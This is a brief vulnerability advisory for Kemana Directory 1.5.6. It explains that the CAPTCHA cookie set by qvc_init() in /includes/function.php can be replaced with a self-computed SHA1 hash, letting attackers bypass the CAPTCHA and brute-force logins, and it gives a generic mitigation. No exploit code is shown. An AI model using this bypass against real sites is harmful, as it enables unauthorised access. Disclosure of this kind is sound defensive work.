Kemana Directory 1.5.6 (qvc_init()) Cookie Poisoning CAPTCHA Bypass Exploit

The CAPTCHA function for Kemana Directory is prone to a security bypass vulnerability that occurs in the CAPTCHA authentication routine. The function 'qvc_init()' in '/includes/function.php' sets a cookie with a SHA1-based hash value in the Response Header which can be replaced by a random SHA1 computed hash value using Cookie Poisoning attack. Successful exploit will allow attackers to bypass the CAPTCHA-based authentication challenge and perform brute-force attacks.

Mitigation:

Ensure that the CAPTCHA authentication routine is properly implemented and that the cookie is not vulnerable to Cookie Poisoning attack.
